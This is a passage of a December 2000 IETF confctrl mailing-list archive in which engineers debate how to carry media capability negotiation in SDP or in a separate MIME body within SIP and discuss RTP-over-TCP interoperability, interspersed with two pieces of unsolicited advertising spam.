Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA20270
	for confctrl-outgoing; Tue, 5 Dec 2000 13:27:29 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA20265
	for <confctrl@zephyr.isi.edu>; Tue, 5 Dec 2000 13:27:28 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id NAA07065
	for <confctrl@ISI.EDU>; Tue, 5 Dec 2000 13:27:27 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id NAA13903;
	Tue, 5 Dec 2000 13:24:33 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eB5LOi816656;
	Tue, 5 Dec 2000 13:24:44 -0800 (PST)
Received: from cisco.com (rtp-vpn-15.cisco.com [10.82.192.15])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id NAA29319;
	Tue, 5 Dec 2000 13:24:30 -0800 (PST)
Message-ID: <3A2D5DA1.D338147B@cisco.com>
Date: Tue, 05 Dec 2000 16:26:57 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Christoph Reichert <reichert@fokus.gmd.de>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Thomas LEVY <thomas.levy@ms.alcatel.fr>, confctrl@ISI.EDU
Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meetingin 
 San   Diego)
References: <B65B4F8437968F488A01A940B21982BFAA4EA5@DYN-EXCH-001.dynamicsoft.com> <3A2D3B59.B54BE763@cisco.com> <20001205214117.A4158@fokus.gmd.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Christoph Reichert wrote:

> Another approach might be to let SDP do what it was intended for:
> describing sessions with connection information and already chosen
> media formats.
>
> In my understanding, describing capability sets and constraints like
> "X cannot be used together with Y" is very different from describing a
> session.

Right - I wasn't looking for that level of expressiveness though.

>
>
> Two points on that:
>
> * capability descriptions does not contain IP adresses or port numbers or
>   address family ids...
>
> * logically, usable capabilities must FIRST be negotiated, and THEN,
>   after the negotiation is finished, one or more from the resulting set
>   can be used to create an SDP record.

Logically yes, but in practice I'm not sure it's such a good approach. It the path
H.323 took initially and the lessons learned lead to the "fast connect" procedure
where you include both capabilities and media session descriptions.

Also, I would not want to modify the existing procedures, e.g. SIP session
establishment, but rather simply extend them with additional "capabilities".


>
>
> When capability descriptions/negotiation is not mixed with session
> descriptions, no changes/extensions to SDP are required.

True, but why invent a new mechanism when there's a perfectly adequate extension
mechanism defined in the protocol already ? Furthermore, by using that extension
mechanism you are guaranteed interoperability with existing implementations,
regardless of whether they support the extension or not. Multipart/MIME is likely to
break more than one existing implementation.


>
>
> Maybe it helps to define a MIME type, say application/capabilities, and an
> algorithm how these MIME-objects have to be intersected.

That's an awful lot more work than simply extending SDP with a couple of extra
attributes and again backwards compatibility is an issue. I see this as more
appropriate to the SDPng than a simple and limited "fix" to SDP.


>
>
> The INVITE(REFER) carries only the capability object of user A
> (already intersected capability set), the 200 Ok carries only the capability
> object of user B.
> Now, both users know the capabilities of each other and apply the
> algorithm to get the intersection.
> Finally, user A sends an INVITE/(REFER) with an SDP record containing only
> negotiated capabilities.

You lost me - can you elaborate ?

>
>
> This should also work with more than two parties involved in a call,
> full mesh and central conference servers.

If you are referring to multicast, then I'm willing to sacrifice that (others may
not). If unicast, then it would seem we simply have a bunch of two-party connections
and capabilities just apply to the two endpoints for each (implementation restrictions
may of course imply that you'd prefer everybody to use the same codec which in the
full mesh case at least could be a challenge).


>
>
> For complex call graphs, it might be hard to figure out who has seen
> all capability sets, though.

Right - I would be fine with leaving that out of scope.

-- Flemming


--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Tue Dec  5 14:22:16 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA22150
	for confctrl-outgoing; Tue, 5 Dec 2000 14:22:16 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA22145
	for <confctrl@zephyr.isi.edu>; Tue, 5 Dec 2000 14:22:15 -0800 (PST)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA23878
	for <confctrl@ISI.EDU>; Tue, 5 Dec 2000 14:22:01 -0800 (PST)
Received: from benetnash.fokus.gmd.de (benetnash [193.175.133.195])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id XAA19047;
	Tue, 5 Dec 2000 23:21:56 +0100 (MET)
Received: (from chr@localhost)
	by benetnash.fokus.gmd.de (8.8.8/8.8.8) id XAA04492;
	Tue, 5 Dec 2000 23:21:55 +0100 (MET)
Date: Tue, 5 Dec 2000 23:21:55 +0100
From: Christoph Reichert <reichert@fokus.gmd.de>
To: Flemming Andreasen <fandreas@cisco.com>
Cc: Christoph Reichert <reichert@fokus.gmd.de>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Thomas LEVY <thomas.levy@ms.alcatel.fr>, confctrl@ISI.EDU
Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meetingin San   Diego)
Message-ID: <20001205232155.A4443@fokus.gmd.de>
References: <B65B4F8437968F488A01A940B21982BFAA4EA5@DYN-EXCH-001.dynamicsoft.com> <3A2D3B59.B54BE763@cisco.com> <20001205214117.A4158@fokus.gmd.de> <3A2D5DA1.D338147B@cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i
In-Reply-To: <3A2D5DA1.D338147B@cisco.com>; from fandreas@cisco.com on Tue, Dec 05, 2000 at 04:26:57PM -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Tue, Dec 05, 2000 at 04:26:57PM -0500, Flemming Andreasen wrote:
> 
> 
> Christoph Reichert wrote:
> 
> > Another approach might be to let SDP do what it was intended for:
> > describing sessions with connection information and already chosen
> > media formats.
> >
> > In my understanding, describing capability sets and constraints like
> > "X cannot be used together with Y" is very different from describing a
> > session.
> 
> Right - I wasn't looking for that level of expressiveness though.
> 
> >
> >
> > Two points on that:
> >
> > * capability descriptions does not contain IP adresses or port numbers or
> >   address family ids...
> >
> > * logically, usable capabilities must FIRST be negotiated, and THEN,
> >   after the negotiation is finished, one or more from the resulting set
> >   can be used to create an SDP record.
> 
> Logically yes, but in practice I'm not sure it's such a good approach. It the path
> H.323 took initially and the lessons learned lead to the "fast connect" procedure
> where you include both capabilities and media session descriptions.

For the "fast" point to point case, the receiver of a SIP INVITE which carries
the caller capabilities, the callee can already intersect the capsets
of itself and the caller, and the 200 OK can carry the SDP.

> Also, I would not want to modify the existing procedures, e.g. SIP session
> establishment, but rather simply extend them with additional "capabilities".
> 
> 
> >
> >
> > When capability descriptions/negotiation is not mixed with session
> > descriptions, no changes/extensions to SDP are required.
> 
> True, but why invent a new mechanism when there's a perfectly adequate extension
> mechanism defined in the protocol already ? Furthermore, by using that extension
> mechanism you are guaranteed interoperability with existing implementations,
> regardless of whether they support the extension or not. Multipart/MIME is likely to
> break more than one existing implementation.

Maybe, I don't know what the SIP spec says if an INVITE carries no SDP record.

> >
> > Maybe it helps to define a MIME type, say application/capabilities, and an
> > algorithm how these MIME-objects have to be intersected.
> 
> That's an awful lot more work than simply extending SDP with a couple of extra
> attributes and again backwards compatibility is an issue. I see this as more
> appropriate to the SDPng than a simple and limited "fix" to SDP.

Well, maybe it's better to specify an initial SDPng alias
application/capabilities MIME-type than to try to fix SDP.
Again, I proposed neither to fix SDP nor to change SIP.
Encode your caps as a MIME object and carry it within SIP, not SDP. 

> > The INVITE(REFER) carries only the capability object of user A
> > (already intersected capability set), the 200 Ok carries only the capability
> > object of user B.
> > Now, both users know the capabilities of each other and apply the
> > algorithm to get the intersection.
> > Finally, user A sends an INVITE/(REFER) with an SDP record containing only
> > negotiated capabilities.
> 
> You lost me - can you elaborate ?

Normally, when a caller calls a callee, the caller sends a SIP INVITE
with "Content-Type: application/sdp" and an SDP record as the payload
of the INVITE. The callee changes the SDP record and sends it back in
the response.

The idea is now simply to replace the Content-Type:  application/sdp
with Content-Type: application/capabilities in the initial INVITE sent
from the caller to the callee, and also to replace the SDP record with
the capability information.

In the case of a fast call, the callee can intersect its capset with
the capset received with the callers INVITE message, and generate an SDP
record.  This SDP record would be sent back in the 200 Ok response with
Content-Type: application/sdp and the SDP record as the body of the
response message.

This is as fast as befor, requires neither a change in SDP nor SIP, but
in every implementation which wants to negotiate capabilities.
The latter is also true for your own proposal.

> >
> >
> > This should also work with more than two parties involved in a call,
> > full mesh and central conference servers.
> 
> If you are referring to multicast, then I'm willing to sacrifice that (others may
> not). If unicast, then it would seem we simply have a bunch of two-party connections
> and capabilities just apply to the two endpoints for each (implementation restrictions
> may of course imply that you'd prefer everybody to use the same codec which in the
> full mesh case at least could be a challenge).

I did not refer to multicast.

> >
> >
> > For complex call graphs, it might be hard to figure out who has seen
> > all capability sets, though.
> 
> Right - I would be fine with leaving that out of scope.
> 
> -- Flemming
> 
> 
> --
> Flemming Andreasen
> Cisco Systems
> 
> 

From confctrl-owner  Tue Dec  5 15:49:28 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA25119
	for confctrl-outgoing; Tue, 5 Dec 2000 15:49:28 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA25114
	for <confctrl@zephyr.isi.edu>; Tue, 5 Dec 2000 15:49:26 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA27195
	for <confctrl@ISI.EDU>; Tue, 5 Dec 2000 15:49:26 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id PAA27147;
	Tue, 5 Dec 2000 15:48:24 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eB5NmXJ24917;
	Tue, 5 Dec 2000 15:48:33 -0800 (PST)
Received: from cisco.com (rtp-vpn-15.cisco.com [10.82.192.15])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id PAA11945;
	Tue, 5 Dec 2000 15:48:19 -0800 (PST)
Message-ID: <3A2D7F55.E24C312D@cisco.com>
Date: Tue, 05 Dec 2000 18:50:45 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Christoph Reichert <reichert@fokus.gmd.de>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Thomas LEVY <thomas.levy@ms.alcatel.fr>, confctrl@ISI.EDU
Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meetingin 
 San   Diego)
References: <B65B4F8437968F488A01A940B21982BFAA4EA5@DYN-EXCH-001.dynamicsoft.com> <3A2D3B59.B54BE763@cisco.com> <20001205214117.A4158@fokus.gmd.de> <3A2D5DA1.D338147B@cisco.com> <20001205232155.A4443@fokus.gmd.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Christoph Reichert wrote:

> On Tue, Dec 05, 2000 at 04:26:57PM -0500, Flemming Andreasen wrote:
> >
> >
> > Christoph Reichert wrote:
> >
> > > Another approach might be to let SDP do what it was intended for:
> > > describing sessions with connection information and already chosen
> > > media formats.
> > >
> > > In my understanding, describing capability sets and constraints like
> > > "X cannot be used together with Y" is very different from describing a
> > > session.
> >
> > Right - I wasn't looking for that level of expressiveness though.
> >
> > >
> > >
> > > Two points on that:
> > >
> > > * capability descriptions does not contain IP adresses or port numbers or
> > >   address family ids...
> > >
> > > * logically, usable capabilities must FIRST be negotiated, and THEN,
> > >   after the negotiation is finished, one or more from the resulting set
> > >   can be used to create an SDP record.
> >
> > Logically yes, but in practice I'm not sure it's such a good approach. It the path
> > H.323 took initially and the lessons learned lead to the "fast connect" procedure
> > where you include both capabilities and media session descriptions.
>
> For the "fast" point to point case, the receiver of a SIP INVITE which carries
> the caller capabilities, the callee can already intersect the capsets
> of itself and the caller, and the 200 OK can carry the SDP.

Exactly, hence the suggestion to simply include it in the SDP but to separate it from the
actual media stream description, since otherwise we are back where we started.

<snip>

> > >
> > > Maybe it helps to define a MIME type, say application/capabilities, and an
> > > algorithm how these MIME-objects have to be intersected.
> >
> > That's an awful lot more work than simply extending SDP with a couple of extra
> > attributes and again backwards compatibility is an issue. I see this as more
> > appropriate to the SDPng than a simple and limited "fix" to SDP.
>
> Well, maybe it's better to specify an initial SDPng alias
> application/capabilities MIME-type than to try to fix SDP.
> Again, I proposed neither to fix SDP nor to change SIP.
> Encode your caps as a MIME object and carry it within SIP, not SDP.

I still don't see how you make that backwards compatible and it also seems a lot more
complicated to me than adding a couple of attributes.

What is the problem with adding such attributes to SDP and why would an extra body/MIME-type
be better ?


>
>
> > > The INVITE(REFER) carries only the capability object of user A
> > > (already intersected capability set), the 200 Ok carries only the capability
> > > object of user B.
> > > Now, both users know the capabilities of each other and apply the
> > > algorithm to get the intersection.
> > > Finally, user A sends an INVITE/(REFER) with an SDP record containing only
> > > negotiated capabilities.
> >
> > You lost me - can you elaborate ?
>
> Normally, when a caller calls a callee, the caller sends a SIP INVITE
> with "Content-Type: application/sdp" and an SDP record as the payload
> of the INVITE. The callee changes the SDP record and sends it back in
> the response.
>
> The idea is now simply to replace the Content-Type:  application/sdp
> with Content-Type: application/capabilities in the initial INVITE sent
> from the caller to the callee, and also to replace the SDP record with
> the capability information.
>
> In the case of a fast call, the callee can intersect its capset with
> the capset received with the callers INVITE message, and generate an SDP
> record.  This SDP record would be sent back in the 200 Ok response with
> Content-Type: application/sdp and the SDP record as the body of the
> response message.
>
> This is as fast as befor, requires neither a change in SDP nor SIP, but
> in every implementation which wants to negotiate capabilities.

OK - thanks. I see a couple of problems with that:
- The caller doesn't know which IP address and port to send media to
- The callee doesn't know which codec(s) the caller agrees to use (if you assume the caller
will honor whatever the callee sends back, the caller might as well have used SDP "m=" lines
as is as this is the current semantics anyway.)
- The caller doesn't get to know the callee's capabilities.

You may of course argue that this only applies to the "fast" procedure, and can be avoided
by a two-roundtrip setup instead (capabilities followed by actual media description),
however the SDP attribute proposal has none of these drawbacks and allows for the current
single roundtrip.

-- Flemming

<snip>

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Wed Dec  6 03:47:19 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA18952
	for confctrl-outgoing; Wed, 6 Dec 2000 03:47:19 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA18947
	for <confctrl@zephyr.isi.edu>; Wed, 6 Dec 2000 03:47:17 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA25430;
	Wed, 6 Dec 2000 03:47:09 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id eB6Bl1U18130;
	Wed, 6 Dec 2000 12:47:01 +0100 (MET)
Message-Id: <Version.32.20001206124251.04d248a0@127.0.0.1>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Wed, 06 Dec 2000 12:45:00 +0100
To: mmusic@informatik.uni-bremen.de
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Draft MMUSIC Agenda
Cc: csp@ISI.EDU, confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

please find the draft agenda for next week's MMUSIC meeting at

    http://www.dmn.tzi.org/ietf/mmusic/

Please address any comments, additions, corrections to Colin and myself.

Thanks,
Joerg



From confctrl-owner  Thu Dec  7 21:22:26 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA29797
	for confctrl-outgoing; Thu, 7 Dec 2000 21:22:26 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA29792
	for <confctrl@zephyr.isi.edu>; Thu, 7 Dec 2000 21:22:24 -0800 (PST)
Received: from ns.tokyo-citynet.co.jp (ns.tokyo-citynet.co.jp [210.225.86.162])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id VAA02684
	for <confctrl@isi.edu>; Thu, 7 Dec 2000 21:22:23 -0800 (PST)
From: Village@dns1.autotrading.co.jp
Received: from 63.20.241.182 (1Cust182.tnt1.madison.wi.da.uu.net [63.20.241.182]) by ns.tokyo-citynet.co.jp with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id XJZBGSGF; Fri, 8 Dec 2000 14:21:21 +0900
Message-ID: <000015922417$0000427e$0000289e@>
To: <Village@dns1.autotrading.co.jp>
Subject: Great Gift Ideas - Free Satellite T.V. System
Date: Fri, 08 Dec 2000 12:25:12 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

FREE Satellite T.V. System and FREE Installation

For a limited time we'll give you this top of the line Digital
Satellite System for FREE!  We'll even include Free installation.

Enjoy over 500 Channels of crystal clear digital picture and
cd stereo sound on your FREE Satellite TV System.  Why pay
for these items in a retail store, when we're giving you the
same satellite package for free.


Call 888-514-6881 to be Guaranteed Your FREE Satellite Today


This Innovative 20" Satellite includes a stereo receiver and
an infrared remote.  With this FREE offer you will have both
Interactive Television Capability and an On Screen Program Guide.

This limited time FREE offer is much less than the monthly cost
of cable tv. All you have to do is call us to arrange delivery.   
If you call today, we'll throw in a second receiver for your
second T.V. free.


Call 888-514-6881 to Begin Surfing through 500 Channels Today!


To be removed send email to zedspine@yahoo.com

From confctrl-owner  Fri Dec  8 09:37:22 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA20725
	for confctrl-outgoing; Fri, 8 Dec 2000 09:37:22 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA20720
	for <confctrl@zephyr.isi.edu>; Fri, 8 Dec 2000 09:37:20 -0800 (PST)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA28663
	for <confctrl@isi.edu>; Fri, 8 Dec 2000 09:37:19 -0800 (PST)
Received: from havoc.entera.com ([206.165.109.130]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-68752U400L100S0V35)
          with SMTP id com for <confctrl@isi.edu>;
          Fri, 8 Dec 2000 09:40:56 -0800
Received: FROM exchange.entera.com BY havoc.entera.com ; Fri Dec 08 09:40:56 2000 -0800
Received: from C585902B (c585902-b.frmt1.sfba.home.com [24.20.2.99]) by exchange.entera.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id XTZLX89P; Fri, 8 Dec 2000 09:34:59 -0800
Message-ID: <002701c0613d$d03f90e0$63021418@frmt1.sfba.home.com>
From: "Alagu Periyannan" <alagu@entera.com>
To: "Stephen Casner" <casner@acm.org>, "Go Hori" <ghori@mail.prognet.com>
Cc: "Colin Perkins" <csp@ISI.EDU>, <rem-conf@es.net>, <confctrl@ISI.EDU>
References: <Pine.WNT.4.30.0012072205140.-290757@oak.cisco.com>
Subject: Re: RTP interoperability testing
Date: Fri, 8 Dec 2000 09:39:28 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


From: "Stephen Casner" <casner@acm.org>
> > Also, we do have RTP over TCP using HTTP fully interoperating with
> > Quicktime player.
>
> Unfortunately for the purposes of this interop survey, I believe what
> you describe uses an encapsulation defined by the application rather
> than the minimal encapsulation specified in the RTP profile (prefixing
> each packet with a two-octet length field) for cases where the
> application does not define the framing.  The open question is whether
> there is value in making that specification, or if it should simply be
> removed.

There could be cases where RTP over TCP can be used without RTSP or some
other control protocol. So there is value in keeping this around.

I would like to point out that a fair amount of RTP interoperability was
addressed in the RTSP interoperability event that Entera hosted this past
summer. Please refer to the results in Ron Frederick's message to the
confctrl list just after the event.

On a separate note, I would really like to see at least an informational RFC
(or even better a real standards track RFC) on the RTP over TCP using HTTP.
I'll be more than happy to contribute to this effort if Apple or Real are
interested. We have Entera's TeraCAST server also working with the RTP over
TCP using HTTP scheme with the Apple QT player.

-Alagu
alagu@entera.com



From confctrl-owner  Fri Dec  8 19:46:58 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA07540
	for confctrl-outgoing; Fri, 8 Dec 2000 19:46:58 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA07535
	for <confctrl@zephyr.isi.edu>; Fri, 8 Dec 2000 19:46:57 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id TAA03430
	for <confctrl@ISI.EDU>; Fri, 8 Dec 2000 19:46:56 -0800 (PST)
Received: from dickmann.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id eB93kpU04783;
	Sat, 9 Dec 2000 04:46:53 +0100 (MET)
To: Thomas LEVY <thomas.levy@ms.alcatel.fr>
Cc: confctrl@ISI.EDU
Subject: Re: draft-kutscher-mmusic-sdpng-req-01.txt
References: <cdhf4rvwyg.fsf@daemon.informatik.uni-bremen.de> <3A2D0D7E.A2F08931@ms.alcatel.fr>
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
Date: 09 Dec 2000 04:48:07 +0100
In-Reply-To: Thomas LEVY's message of "Tue, 05 Dec 2000 16:45:03 +0100"
Message-ID: <m3hf4e1ci0.fsf@duennmann.tzi.org>
Lines: 32
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "Thomas" == Thomas LEVY <thomas.levy@ms.alcatel.fr> writes:

    Thomas> Concerning the "requirements for capability description
    Thomas> and negotiation", it seems to me that your document mainly
    Thomas> focus on end systems.  To be more precise, the main
    Thomas> discussed problem in part 5. (you call it "negotiation of
    Thomas> capabilities") is to ensure that a stream getting out of a
    Thomas> system A is compatible with a stream getting in a system
    Thomas> B. We only see a system as an "opaque box" being able to
    Thomas> initiate or to terminate streams.

    Thomas> But what about considering that the system may "transform"
    Thomas> one (or more) input streams into one (or more) output
    Thomas> streams?  Considering this, an end system could be
    Thomas> considered as terminating an input stream.  A transcoding
    Thomas> media gateway system could be considered as transforming
    Thomas> an input stream with codec of a certain type into an
    Thomas> output stream with a codec of an other type...  It could
    Thomas> allow to enlarge the scope covered by capability
    Thomas> description.

Thomas,

actually we have also had the transcoding gateway model in mind,
although we have not mentioned it explicitely. Thanks for bringing
this up, we will add a corresponding paragrpah.

Do you see any parts in the listed requirements ore the sketched model
that are in conflict with requirements for the gateway scenario?

-- 
	Dirk


From confctrl-owner  Sat Dec  9 08:44:02 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA25142
	for confctrl-outgoing; Sat, 9 Dec 2000 08:44:02 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA25131
	for <confctrl@zephyr.isi.edu>; Sat, 9 Dec 2000 08:44:00 -0800 (PST)
Received: from nt1.rocori.k12.mn.us (nt1.rocori.k12.mn.us [207.229.251.2])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA22679;
	Sat, 9 Dec 2000 08:43:58 -0800 (PST)
Message-Id: <200012091643.IAA22679@gamma.isi.edu>
From: Mail Sender<postmaster@rusgoods.ru>
To: conductors@canvaslink.com
CC: coneca@surfsouth.com, confctrl@ISI.EDU, confctrl-request@ISI.EDU,
        CONNOLLK@rspab.com, consult@btoy1.rochester.ny.us
Subject: Russian Goods and Service from Moscow
Reply-To: mailsender@mailsender.ru
Date: 09.12.2000
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


www.rusgoods.com    www.rusgoods.ru
================================================================
We present you the production of the 1-st Moscow Watch Factory "Poljot" (Flying). From the simple mechanical 
watch of the series 2609 till unique, composite and precise mechanical o'clock - Marine timer . 
  It is unique factory in Russia, which makes mechanical hours with the Swiss quality. Factory, which makes 
watches for the Russian Air Forces , Russian Naval Forces. 
  All mechanical watch which we offer to you, will be delivered to you directly from the factory. If it isn't in the 
warehouse of the factory, we will place your order directly at the 1-st Moscow Watch Factory without any 
middlemans.
 The submarine "Kursk" had on board mechanical marine hronometr 6MX. 
 ===============================================================
The "table" of orders.    Here you can to order, to find, to know almost everything, than the Russia is rich, 
everything 
that does not contradict Russian Federation laws. 
Here you can receive or order:

The information about any enterprise, firm, organization, or person in Russia 
The production or any goods of Russian manufactories, and other things if it is possible. 
===============================================================
www.rusgoods.com    www.rusgoods.ru

From confctrl-owner  Mon Dec 11 06:52:14 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA04601
	for confctrl-outgoing; Mon, 11 Dec 2000 06:52:14 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA04596
	for <confctrl@zephyr.isi.edu>; Mon, 11 Dec 2000 06:52:12 -0800 (PST)
Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA18552;
	Mon, 11 Dec 2000 06:52:09 -0800 (PST)
Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42256)
 id <0G5E00B01RUGVJ@firewall.mcit.com>; Mon, 11 Dec 2000 14:49:28 +0000 (GMT)
Received: from pmismtp02.wcomnet.com ([166.38.62.37])
 by firewall.mcit.com (PMDF V5.2-32 #42256)
 with ESMTP id <0G5E00B19RUGTV@firewall.mcit.com>; Mon,
 11 Dec 2000 14:49:28 +0000 (GMT)
Received: from CONVERSION-DAEMON by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259)
 id <0G5E00801RUFN4@pmismtp02.wcomnet.com>; Mon,
 11 Dec 2000 14:49:28 +0000 (GMT)
Received: from pmismtp02.wcomnet.com by pmismtp02.wcomnet.com
 (PMDF V5.2-33 #42259) with SMTP id <0G5E00801RU9LM@pmismtp02.wcomnet.com>;
 Mon, 11 Dec 2000 14:49:27 +0000 (GMT)
Received: from hsinnreich ([166.44.247.62])
 by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259)
 with SMTP id <0G5E00711RU0Y4@pmismtp02.wcomnet.com>; Mon,
 11 Dec 2000 14:49:17 +0000 (GMT)
Date: Mon, 11 Dec 2000 08:49:59 -0600
From: Henry Sinnreich <Henry.Sinnreich@wcom.com>
Subject: New SDP draft makes no mention of SIP
To: confctrl@ISI.EDU, Mark Handley <mjh@ISI.EDU>,
        sip-admin@lists.bell-labs.com, casner@acm.org, csp@ISI.EDU
Message-id: <NEBBLDFFKGAJDPBENMDNCEPPDEAA.Henry.Sinnreich@wcom.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The new SDP draft <draft-ietf-mmusic-sdp-new-00.txt> mentions SAP, e-mail
